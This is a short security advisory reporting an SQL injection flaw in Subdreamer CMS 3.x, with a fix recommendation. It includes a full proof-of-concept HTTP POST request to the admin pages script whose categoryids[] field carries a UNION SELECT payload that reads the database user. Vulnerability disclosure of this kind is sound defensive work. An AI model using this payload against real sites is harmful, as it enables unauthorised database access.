Subdreamer CMS SQL injection vulnerability

==========================================
Subdreamer CMS SQL injection vulnerability
==========================================


Details
=============
Product: Subdreamer CMS
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: http://www.subdreamer.com/
Advisory-Status: published

Credits
=============
Discovered by: David Vieira-Kurz
http://www.majorsecurity.net/penetrationstest.php

Original Advisory
=============
http://www.majorsecurity.net/subdreamer_cms_sql_injection.php

Affected Products:
=============
Subdreamer CMS 3.x.x
Prior versions may also be vulnerable

Proof of concept:
=============
POST /admin/pages.php?action=update_pages HTTP/1.1
Referer: http://localhost/admin/pages.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.1.4322;MajorSecurity)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 225
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

categoryids[]=1%20union%20select%201,user%28%29,3,4,5,6%20/*&categorynames[]=Home&categoryparentids[]=0&displayorders[]=1

=============
"Subdreamer CMS is a web based content management system."

More Details
=============
We at MajorSecurity have discovered some vulnerabilities in Subdreamer
CMS, which can be exploited to conduct sql injection attacks.
Input passed directly to the "categoryids[]" POST parameter in
"/admin/pages.php?action=update_pages" is not properly sanitised before
being used in a SQL query. This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code.

Solution
=============
Web applications should never trust on user generated input and
therefore sanatize all input. Edit the source code to ensure that input
is properly sanitised.



#  0day.today [2018-03-28]  #